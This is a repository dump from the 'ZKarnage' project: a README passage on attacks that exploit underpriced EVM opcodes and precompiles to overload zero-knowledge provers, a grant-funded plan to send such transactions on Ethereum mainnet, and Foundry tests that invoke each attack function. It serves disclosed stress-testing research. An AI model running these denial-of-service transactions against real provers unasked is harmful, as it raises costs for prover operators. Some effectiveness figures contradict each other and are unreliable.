30 | - **Gas Cost**: 45,000 gas
31 | - **ZK Circuit Complexity**: 37.91x multiplier (from [EIP-7883](https://eips.ethereum.org/EIPS/eip-7883))
32 | - **Estimated Cycles per Iteration**: 19,300,000
33 | - **Implementation**: Uses the BN_PAIRING precompile (0x8) with complex pairing operations.
34 |
35 | ## BN_MUL Attack
36 | - **Gas Cost**: 6,000 gas
37 | - **ZK Circuit Complexity**: 40x multiplier
38 | - **Estimated Cycles per Iteration**: 20,220,000
39 | - **Implementation**: Uses the BN_MUL precompile (0x7) with large numbers to maximize computational complexity.
40 |
41 | ## ECRECOVER Attack
42 | - **Gas Cost**: 3,000 gas
43 | - **ZK Circuit Complexity**: 100x multiplier
44 | - **Estimated Cycles per Iteration**: 687,400
45 | - **Implementation**: Uses the ECRECOVER precompile (0x1) with valid signatures to stress cryptographic verification.
46 |
47 | ## EXTCODESIZE Attack
48 | - **Gas Cost**: 700 gas
49 | - **ZK Circuit Complexity**: 10x multiplier
50 | - **Estimated Cycles per Iteration**: 88,240
51 | - **Implementation**: Queries code size of large contracts to stress storage access verification.
52 |
53 | ## Summary of Attack Effectiveness
54 |
55 | | Attack | Gas per Iteration | Estimated Cycles per Iteration | Cycle/Gas Ratio |
56 | |--------|------------------|--------------------------------|-----------------|
57 | | JUMPDEST | 112 | 116,220 | 1,037.68x |
58 | | Memory Ops | 152 | 608 | 4x |
59 | | CALLDATACOPY | 3,475 | 13,900 | 4x |
60 | | MODEXP | 7,785 | 8,384,000 | 1,076.95x |
61 | | BN_PAIRING | 509,126 | 19,300,000 | 37.91x |
62 | | BN_MUL | 505,515 | 20,220,000 | 40x |
63 | | ECRECOVER | 6,874 | 687,400 | 100x |
64 | | EXTCODESIZE | 8,824 | 88,240 | 10x |
65 |
66 | The most effective attacks in terms of cycle/gas ratio are:
67 | 1. JUMPDEST (1,037.68x)
68 | 2. MODEXP (1,076.95x)
69 | 3. BN_PAIRING (37.91x)
70 | 4. BN_MUL (40x)
71 | 5. ECRECOVER (100x)
72 | 6. CALLDATACOPY (4x)
73 | 7. Memory Ops (4x)
74 | 8. EXTCODESIZE (10x)
75 |
76 | This analysis shows that JUMPDEST and MODEXP operations are particularly effective at creating ZK circuit complexity disproportionate to their gas costs, making them prime targets for stress testing ZK systems.
77 |
78 | ## 1. Expensive EVM Operations
79 |
80 | The following operations are particularly expensive in ZK circuits relative to their gas costs:
81 |
82 | | Opcode | Gas Cost | Average Cycle | Std Cycle | Cycle/Gas |
83 | |--------|----------|---------------|------------|-----------|
84 | | JUMPDEST | 1 | 1,038 | 4 | 1,037.68 |
85 | | MCOPY | 2 | 1,333 | 347 | 666.39 |
86 | | CALLDATACOPY | 3 | 1,742 | 317 | 580.81 |
87 | | CALLER | 2 | 1,132 | 1 | 566.10 |
88 | | ADDRESS | 2 | 1,131 | 114 | 565.46 |
89 | | RETURNDATASIZE | 2 | 1,110 | 112 | 554.92 |
90 | | ORIGIN | 2 | 1,109 | 159 | 554.56 |
91 | | CODESIZE | 2 | 1,093 | 157 | 546.65 |
92 |
93 | ### Opcode Attack Implementations
94 |
95 | 1. **JUMPDEST Attack** (`executeJumpdestAttack`):
96 | - Creates multiple jump destinations through switch statements
97 | - Highest cycles/gas ratio at 1037.68
98 | - Takes minimal gas but forces heavy ZK circuit computation
99 | - Each iteration generates multiple jump destinations in the bytecode
100 |
101 | 2. **MCOPY Attack** (`executeMcopyAttack`):
102 | - Performs repeated memory copies of configurable size
103 | - Second highest cycles/gas ratio at 666.39
104 | - Allows tuning of memory size and iteration count
105 | - Forces ZK circuit to track memory operations
106 |
107 | 3. **CALLDATACOPY Attack** (`executeCalldatacopyAttack`):
108 | - Forces repeated calldata copies into memory
109 | - Third highest cycles/gas ratio at 580.81
110 | - Configurable copy size and iteration count
111 | - Stresses ZK circuit memory management
112 |
113 | ## 2. Expensive Precompiles
114 |
115 | Precompiled contracts show significant discrepancy between gas costs and ZK circuit complexity:
116 |
117 | | Precompile | Gas Cost | Average Cycle | Std Cycle | Cycle/Gas |
118 | |------------|----------|---------------|------------|-----------|
119 | | MODEXP | 200 | 215,389 | 367,401 | 1,076.95 |
120 | | IDENTITY | 15 | 1,271 | 619 | 84.74 |
121 | | BN_PAIR | 45,000 | 1,705,904 | 3,280,325 | 37.91 |
122 | | SHA256 | 60 | 1,756 | 7,340 | 29.26 |
123 | | BN_MUL | 6,000 | 104,860 | 205,406 | 17.48 |
124 | | ECRECOVER | 3,000 | 47,214 | 8,394 | 15.74 |
125 | | BN_ADD | 150 | 1,937 | 3,668 | 12.91 |
126 |
127 | ### Precompile Attack Implementations
128 |
129 | 1. **MODEXP Attack** (`executeModExpAttack`):
130 | - Targets modular exponentiation precompile
131 | - Highest cycles/gas ratio at 1076.95
132 | - Implements worst-case scenarios from [EIP-7883](https://eips.ethereum.org/EIPS/eip-7883):
133 | - Uses 64-byte exponents to trigger higher costs
134 | - Maximizes base and modulus complexity
135 | - All inputs filled with non-zero values
136 | - Exploits underpriced cases that led to EIP-7883's proposed gas cost increase
137 |
138 | 2. **BN_PAIRING Attack** (`executeBnPairingAttack`):
139 | - Targets elliptic curve pairing checks
140 | - 37.91 cycles/gas ratio
141 | - Uses maximum-size pairing inputs (192 bytes)
142 | - Forces complex elliptic curve computations
143 |
144 | 3. **BN_MUL Attack** (`executeBnMulAttack`):
145 | - Targets elliptic curve multiplication
146 | - 17.48 cycles/gas ratio
147 | - Uses worst-case curve points
148 | - Forces complex scalar multiplication
149 |
150 | 4. **ECRECOVER Attack** (`executeEcrecoverAttack`):
151 | - Targets signature recovery operations
152 | - 15.74 cycles/gas ratio
153 | - Uses maximum-complexity signatures
154 | - Forces elliptic curve operations
155 |
156 | ## Usage Examples
157 |
158 | ```solidity
159 | // Execute JUMPDEST attack with 1000 iterations
160 | zkarnage.executeJumpdestAttack(1000);
161 |
162 | // Execute MCOPY attack with 1MB size and 100 iterations
163 | zkarnage.executeMcopyAttack(1024 * 1024, 100);
164 |
165 | // Execute MODEXP attack with 10 iterations
166 | zkarnage.executeModExpAttack(10);
167 |
168 | // Execute BN_PAIRING attack with 5 iterations
169 | zkarnage.executeBnPairingAttack(5);
170 | ```
171 |
172 | ## Event Monitoring
173 |
174 | The contract emits detailed events for analysis:
175 | - `OpcodeResult(string name, uint256 gasUsed)` for opcode attacks
176 | - `PrecompileResult(string name, uint256 gasUsed)` for precompile attacks
--------------------------------------------------------------------------------
/MAINNET_EXECUTION_PLAN.md:
--------------------------------------------------------------------------------
1 | # ZKarnage Mainnet Execution Plan
2 |
3 | ## Executive Summary
4 |
5 | This document outlines the execution plan for deploying ZKarnage attacks on Ethereum mainnet to stress test zero-knowledge proof systems. With a generous grant from the Ethereum Foundation, we will execute prover killer transactions every 1,000 blocks, targeting at least 100 submissions while documenting impacts on ZK provers.
6 |
7 | ## Project Overview
8 |
9 | ### Objectives
10 | - Execute ZKarnage attacks on mainnet to stress test ZK proving systems
11 | - Document real-world impacts on prover performance and costs
12 | - Provide valuable data to the ZK ecosystem for optimization
13 | - Create public record of attack effectiveness and prover resilience
14 |
15 | ### Key Metrics
16 | - **Budget**: Generous grant from the Ethereum Foundation
17 | - **Frequency**: Every 1,000 blocks (~3.5 hours)
18 | - **Target**: 100+ successful submissions
19 | - **Duration**: ~17.5 days of continuous execution
20 |
21 | ## Execution Strategy
22 |
23 | ### Attack Timing
24 | - **Block Selection**: Every block where `block.number % 1000 == 0`
25 | - **Rationale**: Provides consistent, predictable attack windows while conserving budget
26 | - **Coverage**: ~6-7 attacks per day
27 |
28 | ### Gas Management
29 | - **Estimated gas per attack**: 8-10M gas
30 | - **Gas price strategy**: Base fee + 10% priority fee
31 |
32 | ### Attack Rotation
33 | To maximize impact and gather diverse data, we'll rotate through attack vectors:
34 |
35 | 1. **Week 1**: Focus on high-multiplier attacks (JUMPDEST, MODEXP)
36 | 2. **Week 2**: Precompile-heavy attacks (BN_PAIRING, BN_MUL)
37 | 3. **Week 3**: Memory-intensive attacks (MCOPY, CALLDATACOPY)
38 |
39 | ### Script Modifications
40 | Minimal changes to existing scripts:
41 | ```python
42 | # Modify run_attack.py
43 | TARGET_BLOCK_INTERVAL = 1000 # Changed from 100
44 | MAX_RETRIES = 3 # Add retry logic for failed submissions
45 | GAS_BUFFER = 1.1 # 10% gas buffer
46 | ```
47 |
48 | ## Data Collection and Analysis Strategy
49 |
50 | To maintain focus and simplicity, we will adopt a streamlined data collection and analysis workflow.
51 | ### Data Flow
52 |
53 | Our process will consist of three main steps:
54 |
55 | 1. **Log On-Chain Data**: The `run_attack.py` script executes an attack and, upon confirmation, appends a JSON record of the transaction's details (hash, gas, cost, etc.) to a local `attack_log.json` file.
56 | 2. **Combine with Prover Data**: Periodically, we will manually or semi-automatically download prover performance data from the EthProofs platform for the blocks we've targeted. A simple utility script will then merge our `attack_log.json` with the EthProofs data to create a final `public_data.json`.
57 | 3. **Client-Side Analysis**: The `public_data.json` file will be the sole data source for our public-facing dashboard. All visualizations, calculations (like ROI, prover impact), and filtering will be handled directly in the browser using JavaScript.
58 |
59 | ### Data Schemas
60 |
61 | #### 1. `attack_log.json` (from `run_attack.py`)
62 | This file will be an array of JSON objects with the following structure:
63 | ```json
64 | {
65 | "tx_hash": "0x...",
66 | "block_number": 19000000,
67 | "timestamp": 1234567890,
68 | "attack_config": {
69 | "type": "JUMPDEST",
70 | "iterations": 10000
71 | },
72 | "gas_metrics": {
73 | "gas_used": 28500000,
74 | "gas_price_gwei": 25.5
75 | }
76 | }
77 | ```
78 |
79 | #### 2. `public_data.json` (Combined Data)
80 | This is the final file that will be committed to the repository and consumed by the frontend.
81 | ```json
82 | {
83 | "tx_hash": "0x...",
84 | "block_number": 19000000,
85 | // ... other fields from attack_log.json ...
86 | "prover_performance": {
87 | "baseline": {
88 | "avg_proof_time_s": 220,
89 | "avg_cost_usd": 0.89
90 | },
91 | "results": {
92 | "succinct_sp1": {
93 | "proof_time_s": 1205,
94 | "cost_usd": 5.87,
95 | "cycles": 45622000, // zkVM-specific
96 | "status": "completed"
97 | },
98 | "risc0_zkvm": {
99 | "proof_time_s": 847,
100 | "cost_usd": 3.42,
101 | "cycles": 38455000, // zkVM-specific
102 | "status": "completed"
103 | }
104 | }
105 | }
106 | }
107 | ```
108 |
109 | This simplified approach ensures that our efforts are focused on executing attacks and presenting the findings, rather than on building and maintaining a complex data infrastructure.
110 |
111 | ## Reporting Framework
112 |
113 | ### Deliverables Structure
114 |
115 | #### 1. Live Dashboard (GitHub Pages)
116 | ```
117 | prooflab.dev/
118 | ├── index.html
119 | ├── data/
120 | │ └── public_data.json
121 | └── js/
122 | ├── main.js
123 | └── charts.js
124 | ```
125 |
126 | #### 2. Weekly Reports
127 |
128 | **Format**: Markdown, published as blog posts on the project website.
129 |
130 | **Structure**:
131 |
132 | ```markdown
133 | # ZKarnage Weekly Report - Week X
134 |
135 | ## Executive Summary
136 | - Attacks executed: X
137 | - Total ETH spent: X
138 | - Average prover impact: X%
139 | - Most effective attack: TYPE
140 |
141 | ## Key Metrics
142 | [Interactive charts embedded from the live dashboard]
143 |
144 | ## Notable Findings
145 | 1. Finding with data
146 | 2. Finding with data
147 | 3. Finding with data
148 |
149 | ## Prover Performance Analysis
150 | ### Succinct SP1 (zkVM)
151 | - Average proof time increase: X%
152 | - Cycle count: X (zkVM-specific metric)
153 | - Cost impact: $X
154 | - Adaptation observed: Yes/No
155 |
156 | ### RISC Zero (zkVM)
157 | - Average proof time increase: X%
158 | - Cycle count: X (zkVM-specific metric)
159 | - Cost impact: $X
160 | - Adaptation observed: Yes/No
161 |
162 | ### Other Provers
163 | [Similar structure for each]
164 |
165 | ## Next Week Preview
166 | - Planned attack types
167 | - Expected outcomes
168 | - Budget remaining
169 | ```
170 |
171 | #### 3. Final Comprehensive Report
172 |
173 | **Format**: PDF
174 |
175 | **Structure**:
176 |
177 | ```
178 | 1. Executive Summary (1 page)
179 | - Key findings & impact summary
180 | - Main recommendations
181 |
182 | 2. Methodology (2 pages)
183 | - Attack implementation details
184 | - Simplified data collection process
185 | - Analysis framework (client-side)
186 | - Limitations and assumptions
187 |
188 | 3. Results Analysis (8 pages)
189 | - Per-Attack Analysis (JUMPDEST, MODEXP, etc.)
190 | - Comparative effectiveness
191 | - Prover Impact Study
192 | - Resilience rankings
193 |
194 | 4. Economic Analysis (5 pages)
195 | - Total costs vs. impacts
196 | - ROI calculations
197 | - Gas market effects
198 |
199 | 5. Recommendations & Future Work (3 pages)
200 | - For prover developers
201 | - For protocol designers
202 | - For researchers
203 |
204 | 6. Appendices (1 page)
205 | - Link to raw data
206 | - Reproduction instructions
207 | ```
208 |
209 | ## Data Collection Implementation
210 |
211 | ### Required APIs and Data Sources
212 |
213 | #### 1. Blockchain Data
214 | - **Ethereum RPC**: Transaction receipts, block data, gas prices
215 |
216 | #### 2. Prover Performance Data
217 | - **EthProofs Platform**: Aggregated proof data from all prover implementations
218 | - **Succinct SP1 (zkVM)**: Proof times and cycle counts via EthProofs
219 | - **RISC Zero (zkVM)**: Proof times and cycle counts via EthProofs
220 | - **Other provers**: Any additional implementations submitting to EthProofs
221 |
222 | #### 3. Market Data
223 | - **CoinGecko API**: Real-time ETH price
224 | - **DeFiLlama**: L2 activity metrics
225 | - **Dune Analytics**: Custom queries for analysis
226 |
227 | ### Data Collection Workflow
228 |
229 | Our data collection process is a straightforward, three-step workflow designed for simplicity and efficiency:
230 |
231 | 1. **Execute and Log Attack**:
232 | - The `run_attack.py` script initiates the on-chain attack.
233 | - Upon confirmation, it records the transaction details (hash, gas, cost) into a local `attack_log.json` file.
234 |
235 | 2. **Enrich with Prover Data**:
236 | - At a later time, we will fetch performance data from EthProofs for the corresponding blocks.
237 | - This data, including proof times, costs, and zkVM cycle counts, is merged with our `attack_log.json` to create the final `public_data.json`.
238 |
239 | 3. **Analyze and Visualize**:
240 | - The `public_data.json` serves as the single source of truth for all analysis.
241 | - The public dashboard will consume this file, performing all calculations and visualizations on the client-side.
242 |
243 | ## Final Deliverables
244 |
245 | ### 1. Raw Data Archive
246 | - **Format**: JSON files organized by date
247 | - **Storage**: GitHub repository
248 | - **Access**: Public, MIT licensed
249 | - **Size**: ~100MB estimated
250 |
251 | ### 2. Interactive Dashboard
252 | - **URL**: prooflab.dev
253 | - **Updates**: Real-time during execution
254 | - **Features**:
255 | - Live attack feed
256 | - Cumulative statistics
257 | - Prover leaderboard
258 | - Cost tracker
259 |
260 | ### 3. Technical Report (~20 pages)
261 |
262 | ### 4. Public Presentations
263 | - Twitter thread with key findings
264 | - Blog post on Mirror/Medium
265 | - Presentation at ETHDenver (if applicable)
266 | - Research paper submission
267 |
268 | ### 5. Open Source Contributions
269 | - Data collection scripts
270 | - Analysis notebooks
271 | - Visualization tools
272 | - Attack monitoring dashboard
273 |
274 | ## Success Metrics
275 |
276 | ### Quantitative Goals
277 | - ✓ 100+ successful attack executions
278 | - ✓ 5+ prover systems analyzed via EthProofs
279 |
280 | ### Qualitative Goals
281 | - ✓ Actionable insights for ZK optimization
282 | - ✓ Positive engagement from prover teams
283 | - ✓ Data contributed to EthProofs platform
284 | - ✓ Reproducible research methodology
285 | - ✓ Long-term monitoring framework established
286 |
287 | ## Project Timeline Summary
288 |
289 | **Week -1**: Preparation and Testing
290 | **Week 0**: Deploy and Initial Tests
291 | **Week 1-2**: Main Execution Phase
292 | **Week 3**: Final Attacks and Analysis
293 | **Week 4-8**: Report Writing and Publication
294 |
295 | Total Duration: 8 weeks from start to final deliverable
296 |
297 | ## Timeline & Milestones
298 |
299 | ### Week -1 (Preparation)
300 | - [ ] Deploy ZKarnage contract to mainnet
301 | - [ ] Test attack execution with small gas amounts
302 | - [ ] Set up GitHub Pages infrastructure
303 | - [ ] Prepare data collection scripts
304 | - [ ] Establish prover API access
305 |
306 | ### Week 0 (Launch Week)
307 | - [ ] Execute first test attack
308 | - [ ] Verify data collection pipeline
309 | - [ ] Announce project publicly
310 | - [ ] Begin baseline data collection
311 |
312 | ### Week 1-2 (Main Execution)
313 | - [ ] Execute 70+ attacks
314 | - [ ] Daily data updates
315 | - [ ] Weekly progress report
316 | - [ ] Community engagement
317 |
318 | ### Week 3 (Final Push)
319 | - [ ] Complete remaining attacks
320 | - [ ] Begin data analysis
321 | - [ ] Prepare visualizations
322 | - [ ] Draft report sections
323 |
324 | ### Week 4-8 (Analysis & Reporting)
325 | - [ ] Complete final report
326 | - [ ] Publish all data
327 | - [ ] Present findings
328 | - [ ] Archive project
329 |
330 | ## Next Steps
331 |
332 | 1. **Immediate Actions** (This Week):
333 | - [ ] Finalize and review this plan
334 | - [ ] Set up GitHub Pages repository
335 | - [ ] Deploy ZKarnage contract
336 | - [ ] Test data collection pipeline
337 |
338 | 2. **Pre-Launch** (Next Week):
339 | - [ ] Notify prover teams (Succinct, RISC Zero, etc.)
340 | - [ ] Coordinate with EthProofs platform
341 | - [ ] Announce project timeline
342 | - [ ] Complete testing
343 | - [ ] Prepare first week's attacks
344 |
345 | 3. **Launch Criteria**:
346 | - [ ] Contract deployed and verified
347 | - [ ] Data pipeline tested
348 | - [ ] Communication plan ready
349 | - [ ] Team availability confirmed
350 |
351 | ---
352 |
353 | **Project Lead**: Conner Swann
354 | **Repository**: github.com/yourbuddyconner/zkarnage
355 | **Live Dashboard**: prooflab.dev
356 | **Contact**: @yourbuddyconner @TheProofLab
357 |
358 | *This plan is a living document and will be updated as the project progresses.*
--------------------------------------------------------------------------------
/test/ZKarnage.t.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.19;
3 |
4 | import {Test} from "../lib/forge-std/src/Test.sol";
5 | import {console} from "../lib/forge-std/src/console.sol";
6 | import "../src/ZKarnage.sol";
7 |
8 | contract ZKarnageTest is Test {
9 | ZKarnage public zkarnage;
10 | uint256 public forkId;
11 |
12 | // --- Local Event Definitions (to satisfy vm.expectEmit syntax) ---
13 | // These must match the signatures in ZKarnage.sol exactly.
14 | event OpcodeResult(string name, uint256 gasUsed);
15 | event PrecompileResult(string name, uint256 gasUsed);
16 | event AttackSummary(uint256 numContracts, uint256 totalSize);
17 | // ContractAccessed event is not explicitly checked here, but could be added if needed.
18 | // event ContractAccessed(address indexed target, uint256 size);
19 |
20 | // Test addresses (known large contracts on mainnet)
21 | address[] testAddresses;
22 |
23 | // Gas limits for different attacks (Adjust as needed based on runs)
24 | uint256 constant JUMPDEST_GAS_LIMIT = 200_000;
25 | uint256 constant MCOPY_GAS_LIMIT = 300_000;
26 | uint256 constant CALLDATACOPY_GAS_LIMIT = 1_000_000;
27 | uint256 constant MODEXP_GAS_LIMIT = 500_000;
28 | uint256 constant BN_PAIRING_GAS_LIMIT = 5_000_000;
29 | uint256 constant BN_MUL_GAS_LIMIT = 5_500_000;
30 | uint256 constant ECRECOVER_GAS_LIMIT = 500_000;
31 | uint256 constant EXTCODESIZE_GAS_LIMIT = 100_000;
32 | uint256 constant KECCAK_GAS_LIMIT = 2_000_000;
33 | uint256 constant SHA256_GAS_LIMIT = 2_000_000;
34 |
35 | function setUp() public {
36 | // Deploy the attack contract
37 | zkarnage = new ZKarnage();
38 |
39 | // Set up test addresses (using a few known contracts)
40 | testAddresses = new address[](5);
41 | testAddresses[0] = 0xB95c8fB8a94E175F957B5044525F9129fbA0fE0C;
42 | testAddresses[1] = 0x1908D2bD020Ba25012eb41CF2e0eAd7abA1c48BC;
43 | testAddresses[2] = 0xa102b6Eb23670B07110C8d316f4024a2370Be5dF;
44 | testAddresses[3] = 0x84ab2d6789aE78854FbdbE60A9873605f4Fd038c;
45 | testAddresses[4] = 0x1908D2bD020Ba25012eb41CF2e0eAd7abA1c48BC;
46 |
47 | // Get RPC URL - Use string explicitly for envOr
48 | string memory key = "ETH_RPC_URL";
49 | string memory defaultValue = "";
50 | string memory rpcUrl = vm.envOr(key, defaultValue);
51 | require(bytes(rpcUrl).length > 0, "ETH_RPC_URL env var not set");
52 | console.log("Using RPC URL from ETH_RPC_URL"); // Avoid logging the URL itself
53 |
54 | // Create fork with latest block
55 | forkId = vm.createFork(rpcUrl);
56 | vm.selectFork(forkId);
57 | console.log("Fork created with ID:", forkId, "at block:", block.number);
58 |
59 | // Optional: Verify contract code access after fork selection
60 | // It's good practice but can be verbose, uncomment if needed
61 | /*
62 | for (uint i = 0; i < testAddresses.length; i++) {
63 | bytes memory code = address(testAddresses[i]).code;
64 | require(code.length > 0, string.concat("Cannot access contract code for address ", vm.toString(testAddresses[i])));
65 | }
66 | console.log("Verified contract code access on fork.");
67 | */
68 | }
69 |
70 | function testJumpdestAttack() public {
71 | console.log("\n=== Testing JUMPDEST Attack ===");
72 | uint256 iterations = 1000;
73 |
74 | uint256 gasStart = gasleft();
75 | // Expect OpcodeResult event (only check emitter)
76 | vm.expectEmit(false, false, false, false, address(zkarnage));
77 | // Provide the expected event signature template
78 | emit OpcodeResult("JUMPDEST", 0);
79 | zkarnage.executeJumpdestAttack(iterations);
80 | uint256 gasUsed = gasStart - gasleft();
81 |
82 | console.log("Total Gas used for JUMPDEST attack tx:", gasUsed);
83 | if (iterations > 0) {
84 | console.log("Approx Gas per iteration (external):", gasUsed / iterations);
85 | }
86 | assertLt(gasUsed, JUMPDEST_GAS_LIMIT, "Gas usage too high for JUMPDEST attack");
87 | }
88 |
89 | function testMcopyAttack() public {
90 | console.log("\n=== Testing Memory Operations (MCOPY) Attack ===");
91 | uint256 size = 256;
92 | uint256 iterations = 1000;
93 |
94 | uint256 gasStart = gasleft();
95 | // Expect OpcodeResult event (only check emitter)
96 | vm.expectEmit(false, false, false, false, address(zkarnage));
97 | // Provide the expected event signature template
98 | emit OpcodeResult("MCOPY", 0);
99 | zkarnage.executeMcopyAttack(size, iterations);
100 | uint256 gasUsed = gasStart - gasleft();
101 |
102 | console.log("Total Gas used for memory operations attack tx:", gasUsed);
103 | if (iterations > 0) {
104 | console.log("Approx Gas per iteration (external):", gasUsed / iterations);
105 | }
106 | assertLt(gasUsed, MCOPY_GAS_LIMIT, "Gas usage too high for memory operations attack");
107 | }
108 |
109 | function testCalldatacopyAttack() public {
110 | console.log("\n=== Testing CALLDATACOPY Attack ===");
111 | uint256 size = 32 * 1024; // 32KB
112 | uint256 iterations = 50;
113 |
114 | uint256 gasStart = gasleft();
115 | // Expect OpcodeResult event (only check emitter)
116 | vm.expectEmit(false, false, false, false, address(zkarnage));
117 | // Provide the expected event signature template
118 | emit OpcodeResult("CALLDATACOPY", 0);
119 | zkarnage.executeCalldatacopyAttack(size, iterations);
120 | uint256 gasUsed = gasStart - gasleft();
121 |
122 | console.log("Total Gas used for CALLDATACOPY attack tx:", gasUsed);
123 | if (iterations > 0) {
124 | console.log("Approx Gas per iteration (external):", gasUsed / iterations);
125 | }
126 | console.log("Gas per KB (external):", (gasUsed * 1024) / size);
127 | assertLt(gasUsed, CALLDATACOPY_GAS_LIMIT, "Gas usage too high for CALLDATACOPY attack");
128 | }
129 |
130 | function testModExpAttack() public {
131 | console.log("\n=== Testing MODEXP Attack ===");
132 | uint256 iterations = 10;
133 |
134 | uint256 gasStart = gasleft();
135 | // Expect PrecompileResult event (only check emitter)
136 | vm.expectEmit(false, false, false, false, address(zkarnage));
137 | // Provide the expected event signature template
138 | emit PrecompileResult("MODEXP", 0);
139 | zkarnage.executeModExpAttack(iterations);
140 | uint256 gasUsed = gasStart - gasleft();
141 |
142 | console.log("Total Gas used for MODEXP attack tx:", gasUsed);
143 | if (iterations > 0) {
144 | console.log("Approx Gas per iteration (external):", gasUsed / iterations);
145 | }
146 | assertLt(gasUsed, MODEXP_GAS_LIMIT, "Gas usage too high for MODEXP attack");
147 | }
148 |
149 | function testBnPairingAttack() public {
150 | console.log("\n=== Testing BN_PAIRING Attack ===");
151 | uint256 iterations = 5;
152 |
153 | uint256 gasStart = gasleft();
154 | // Expect PrecompileResult event (only check emitter)
155 | vm.expectEmit(false, false, false, false, address(zkarnage));
156 | // Provide the expected event signature template
157 | emit PrecompileResult("BN_PAIRING", 0);
158 | zkarnage.executeBnPairingAttack(iterations);
159 | uint256 gasUsed = gasStart - gasleft();
160 |
161 | console.log("Total Gas used for BN_PAIRING attack tx:", gasUsed);
162 | if (iterations > 0) {
163 | console.log("Approx Gas per iteration (external):", gasUsed / iterations);
164 | }
165 | assertLt(gasUsed, BN_PAIRING_GAS_LIMIT, "Gas usage too high for BN_PAIRING attack");
166 | }
167 |
168 | function testBnMulAttack() public {
169 | console.log("\n=== Testing BN_MUL Attack ===");
170 | uint256 iterations = 8;
171 |
172 | uint256 gasStart = gasleft();
173 | // Expect PrecompileResult event (only check emitter)
174 | vm.expectEmit(false, false, false, false, address(zkarnage));
175 | // Provide the expected event signature template
176 | emit PrecompileResult("BN_MUL", 0);
177 | zkarnage.executeBnMulAttack(iterations);
178 | uint256 gasUsed = gasStart - gasleft();
179 |
180 | console.log("Total Gas used for BN_MUL attack tx:", gasUsed);
181 | if (iterations > 0) {
182 | console.log("Approx Gas per iteration (external):", gasUsed / iterations);
183 | }
184 | assertLt(gasUsed, BN_MUL_GAS_LIMIT, "Gas usage too high for BN_MUL attack");
185 | }
186 |
187 | function testEcrecoverAttack() public {
188 | console.log("\n=== Testing ECRECOVER Attack ===");
189 | uint256 iterations = 50; // Increased iterations
190 |
191 | uint256 gasStart = gasleft();
192 | // Expect PrecompileResult event (only check emitter)
193 | vm.expectEmit(false, false, false, false, address(zkarnage));
194 | // Provide the expected event signature template
195 | emit PrecompileResult("ECRECOVER", 0);
196 | zkarnage.executeEcrecoverAttack(iterations);
197 | uint256 gasUsed = gasStart - gasleft();
198 |
199 | console.log("Total Gas used for ECRECOVER attack tx:", gasUsed);
200 | if (iterations > 0) {
201 | console.log("Approx Gas per iteration (external):", gasUsed / iterations);
202 | }
203 | assertLt(gasUsed, ECRECOVER_GAS_LIMIT, "Gas usage too high for ECRECOVER attack");
204 | }
205 |
206 | function testKeccakAttack() public {
207 | console.log("\n=== Testing KECCAK256 Attack ===");
208 | uint256 iterations = 1000;
209 | uint256 dataSize = 1024; // 1 KB
210 |
211 | uint256 gasStart = gasleft();
212 | // Expect OpcodeResult event (only check emitter)
213 | vm.expectEmit(false, false, false, false, address(zkarnage));
214 | // Provide the expected event signature template
215 | emit OpcodeResult("KECCAK256", 0);
216 | zkarnage.executeKeccakAttack(iterations, dataSize);
217 | uint256 gasUsed = gasStart - gasleft();
218 |
219 | // Broke down the log statement
220 | console.log("Total Gas used for KECCAK256 attack tx:");
221 | console.log("- Iterations:", iterations);
222 | console.log("- Data Size:", dataSize);
223 | console.log("- Gas Used:", gasUsed);
224 |
225 | if (iterations > 0) {
226 | console.log("Approx Gas per iteration (external):", gasUsed / iterations);
227 | }
228 | assertLt(gasUsed, KECCAK_GAS_LIMIT, "Gas usage too high for KECCAK256 attack");
229 | }
230 |
231 | function testSha256Attack() public {
232 | console.log("\n=== Testing SHA256 Attack ===");
233 | uint256 iterations = 1000;
234 | uint256 dataSize = 1024; // 1 KB
235 |
236 | uint256 gasStart = gasleft();
237 | // Expect PrecompileResult event (only check emitter)
238 | vm.expectEmit(false, false, false, false, address(zkarnage));
239 | // Provide the expected event signature template
240 | emit PrecompileResult("SHA256", 0);
241 | zkarnage.executeSha256Attack(iterations, dataSize);
242 | uint256 gasUsed = gasStart - gasleft();
243 |
244 | // Broke down the log statement
245 | console.log("Total Gas used for SHA256 attack tx:");
246 | console.log("- Iterations:", iterations);
247 | console.log("- Data Size:", dataSize);
248 | console.log("- Gas Used:", gasUsed);
249 |
250 | if (iterations > 0) {
251 | console.log("Approx Gas per iteration (external):", gasUsed / iterations);
252 | }
253 | assertLt(gasUsed, SHA256_GAS_LIMIT, "Gas usage too high for SHA256 attack");
254 | }
255 |
256 | function testExtcodesizeAttack() public {
257 | console.log("\n=== Testing EXTCODESIZE Attack ===");
258 |
259 | uint256 gasStart = gasleft();
260 | // Expect AttackSummary event (only check emitter)
261 | vm.expectEmit(false, false, false, false, address(zkarnage));
262 | // Provide the expected event signature template
263 | emit AttackSummary(testAddresses.length, 0);
264 | zkarnage.executeAttack(testAddresses);
265 | uint256 gasUsed = gasStart - gasleft();
266 |
267 | uint256 totalSize = 0;
268 | for (uint i = 0; i < testAddresses.length; i++) {
269 | uint256 size = testAddresses[i].code.length;
270 | totalSize += size;
271 | // console.log("Contract", i, "Size:", size); // Uncomment for debugging
272 | }
273 |
274 | console.log("Total Gas used for EXTCODESIZE attack tx:", gasUsed);
275 | console.log("Total bytecode size accessed:", totalSize, "bytes");
276 | if (totalSize > 0) {
277 | console.log("Gas per KB (external):", (gasUsed * 1024) / totalSize);
278 | }
279 | assertLt(gasUsed, EXTCODESIZE_GAS_LIMIT, "Gas usage too high for EXTCODESIZE attack");
280 | }
281 |
282 | function testAllAttacks() public {
283 | testJumpdestAttack();
284 | testMcopyAttack();
285 | testCalldatacopyAttack();
286 | testModExpAttack();
287 | testBnPairingAttack();
288 | testBnMulAttack();
289 | testEcrecoverAttack();
290 | testKeccakAttack();
291 | testSha256Attack();
292 | testExtcodesizeAttack();
293 | }
294 | }
--------------------------------------------------------------------------------
/test/ZKarnageYul.t.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.19;
3 |
4 | import {Test} from "../lib/forge-std/src/Test.sol";
5 | import {console} from "../lib/forge-std/src/console.sol";
6 | import {stdJson} from "../lib/forge-std/src/StdJson.sol";
7 |
8 | interface IZKarnageYul {
9 | function f(uint256 opCode, uint256 gasThreshold, uint256 extra) external returns (uint256);
10 | }
11 |
12 | contract ZKarnageYulTest is Test {
13 | using stdJson for string;
14 |
15 | // Operation codes as defined in ZKarnage.yul
16 | uint256 constant OP_KECCAK = 0x0003;
